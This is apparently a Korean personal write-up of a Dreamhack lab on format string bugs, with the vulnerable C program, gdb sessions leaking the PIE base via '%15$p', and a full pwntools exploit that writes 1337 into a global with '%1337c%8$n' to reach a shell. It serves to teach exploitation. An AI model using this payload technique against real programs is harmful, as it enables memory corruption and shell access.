← 전체 Write-Up

Pwn / Dreamhack

Format String Bug

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

포맷 스트링 버그는 포맷 스트링을 사용하는 모든 함수에서 발생할 수 있다. 리눅스 라이브러리 함수에서는 printf, fprintf, sprintf와 같은 함수들을 사용할 때 유의해야 한다.

환경

$ gcc -o fsb_overwrite fsb_overwrite.c
$ checksec fsb_overwrite
[*] '/home/dreamhack/fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • PIE, NX를 포함한 보호 기법이 적용되어 있음.
  • 카나리는 발견되지 않았으나 SFP나 반환 주소를 변조할 만한 스택 버퍼 오버 플로우 취약점이 존재하지 않으므로 무의미함.

실습 코드

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];

  setbuf(stdout, NULL);

  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

분석

1. 코드 분석

예제에서 get_sstring 함수를 통해 buf에 32바이트 입력을 받는다. 사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하므로 포맷 스트링 버그 취약점이 발생한다.


2. 익스플로잇 설계

1. changeme 주소 구하기

changeme의 값을 조작하려면 해당 변수의 주소를 먼저 알아내야 한다. 바이너리에는 PIE 보호 기법이 적용되어 있으므로, 전역 변수인 changeme의 주소는 실행할 때마다 바뀐다. 따라서 PIE 베이스 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산해야 한다.

2. changeme를 1337로 설정하기

get_string으로 changeme의 주소를 스택에 저장하려면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있다. 1337바이트의 문자열을 미리 출력하고, 위 방법으로 changeme에 값을 쓰면 changeme를 1337로 설정할 수 있다.

changeme 주소 구하기


disass main 명령어를 사용해 printf 함수가 호출되는 오프셋을 찾고 해당 위치에 브레이크포인트를 설정한다.run 명령어로 프로그램을 실행하면 get_string 함수에서 입력을 받는다. 특정한 값을 입력하면 다음과 같이 printf 함수를 호출하기 직전에 브레이크포인트가 걸린다.

$ gdb -q fsb_overwrite
pwndbg> disass main
Dump of assembler code for function main:
...
   0x00000000000012d3 <+64>:    lea    rax,[rbp-0x30]
   0x00000000000012d7 <+68>:    mov    rdi,rax
   0x00000000000012da <+71>:    mov    eax,0x0
   0x00000000000012df <+76>:    call   0x10e0 <printf@plt>
...
End of assembler dump.
pwndbg> b *main+76
Breakpoint 1 at 0x12df
pwndbg> r
Starting program: /home/dreamhack/fsb_overwrite
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaa

Breakpoint 1, 0x00005555555552df in main ()
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x5555555552df <main+76>     call   printf@plt                <printf@plt>
        format: 0x7fffffffe2d0 ◂— 0x6161616161 /* 'aaaaa' */
        vararg: 0x7fffffffe2d0 ◂— 0x6161616161 /* 'aaaaa' */

   0x5555555552e4 <main+81>     lea    rax, [rip + 0xd1e]
   0x5555555552eb <main+88>     mov    rdi, rax
   0x5555555552ee <main+91>     call   puts@plt                <puts@plt>
...

이때 rsp를 출력해보면, 다음과 같이 rsp+0x48 위치에 0x555555555293가 저장되어 있다.

pwndbg> x/32gx $rsp
0x7fffffffe2d0:	0x0000006161616161	0x0000000000000000
0x7fffffffe2e0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2f0:	0x0000000000000000	0x77c8b8abdc839b00
0x7fffffffe300:	0x0000000000000001	0x00007ffff7dabd90
0x7fffffffe310:	0x0000000000000000	0x0000555555555293
0x7fffffffe320:	0x0000000100000000	0x00007fffffffe418
0x7fffffffe330:	0x0000000000000000	0x1e535541fc844cd1
0x7fffffffe340:	0x00007fffffffe418	0x0000555555555293
0x7fffffffe350:	0x0000555555557d90	0x00007ffff7ffd040
0x7fffffffe360:	0xe1acaabe3aa64cd1	0xe1acbaf4860e4cd1
0x7fffffffe370:	0x00007fff00000000	0x0000000000000000
0x7fffffffe380:	0x0000000000000000	0x0000000000000000
0x7fffffffe390:	0x0000000000000000	0x77c8b8abdc839b00
0x7fffffffe3a0:	0x0000000000000000	0x00007ffff7dabe40
0x7fffffffe3b0:	0x00007fffffffe428	0x0000555555557d90
0x7fffffffe3c0:	0x00007ffff7ffe2e0	0x0000000000000000
pwndbg> Quit
pwndbg> Quit
pwndbg> Quit
pwndbg> x/gx $rsp+0x48
0x7fffffffe318:	0x0000555555555293

이때 vmmap으로 확인해보면 해당 값은 fsb_overwrite 바이너리가 매핑된 영역에 포함되는 주소이므로 이 주소를 사용하면 PIE 베이스 주소를 구할 수 있다.

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/dremahack/fsb_overwrite
    0x555555555000     0x555555556000 r-xp     1000   1000 /home/dremahack/fsb_overwrite
    0x555555556000     0x555555557000 r--p     1000   2000 /home/dremahack/fsb_overwrite
    0x555555557000     0x555555558000 r--p     1000   2000 /home/dremahack/fsb_overwrite
    0x555555558000     0x555555559000 rw-p     1000   3000 /home/dremahack/fsb_overwrite
[생략]

rsp-0x48에 저장되어 있는 주소와 PIE 베이스 주소 간의 오프셋은 다음과 같이 구할 수 있다. 오프셋은 0x1293이다.

pwndbg> p/x 0x555555555293 - 0x555555554000
$1 = 0x1293

x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달한다. 예를 들어 printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9);를 호출하면, 1, 2, 3, 4, 5, 6, 7, 8, 9는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달된다. 다음은 printf 함수의 인자를 순서대로 정리한 표다. PIE 베이스 주소를 구할 주소를 가진 [RSP+0x48]은 포맷 스트링의 15번째 인자이므로, %15$p로 읽을 수 있다.

Format String Bug — 실습 화면 1

%15$p를 입력해서 출력한 값에서 0x1293을 빼면 PIE 베이스 주소가 된다. PIE 베이스 주소에 changeme의 오프셋을 더하면 changeme의 주소를 구할 수 있다. changeme의 오프셋은 셸에서 readelf 명령어로 확인할 수 있다.

$ readelf -s fsb_overwrite | grep changeme
    40: 000000000000401c     4 OBJECT  GLOBAL DEFAULT   26 changeme

이를 이용하여 pwntools 스크립트를 작성하면 다음과 같이 코드 영역이 매핑된 주소와 changeme 변수의 주소를 구할 수 있다.

1337 길이의 문자열 출력

%n은 현재까지 출력된 문자열의 길이를 인자에 저장한다. 따라서 해당 형식 지정자로 changeme 변수에 1337을 쓰려면 1337바이트 길이의 문자열을 먼저 출력해야한다. 예제에서는 길이를 0x20으로 제한하므로 1337개의 문자열을 직접 입력할 순 없다. 이럴때는 포맷 스트링의 width 속성을 사용할 수 있다. 포맷 스트링의 width는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩문자를 추가한다. 예를 들어 %1337c에 대응되는 인자의 길이가 1337보다 작으면, 인자를 출력하고 남은 길이를 공백으로 출력한다.

// Name: fsb_minwidth.c
// Compile: gcc -o fsb_minwidth fsb_minwidth.c

int main() {
  printf("%10d\\n", 123);
  printf("%20c\\n", 'A');
}
$ ./fsb_minwidth
       123
                   A

changeme 덮어쓰기


changeme 변수의 주소를 알고, 1337의 길이를 갖는 문자열도 출력할 수 있으므로, 다음과 같은 포맷 스트링을 구성하면 changeme의 값을 1337로 쓸 수 있다. 포맷 스트링을 구성하고, 익스플로잇을 실행하면 아래 실행 결과와 같이 good이 출력된다.

Format String Bug — 실습 화면 2


익스플로잇 코드

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./fsb_overwrite')
e = ELF('./fsb_overwrite')

#[1] Get Address of changeme
p.sendline(b'%15$p')
leak = int(p.recvline()[:-1], 16)
code_base = leak - 0x1293
changeme = code_base + e.symbols['changeme']

slog('code_base', code_base)
slog('changeme', changeme)

# [2] Overwrite changeme
payload = b'%1337c' # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += b'%8$n' # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += b'A'*6 # 8의 배수를 위한 패딩입니다.
payload = payload + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.

p.sendline(payload)

p.interactive()

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처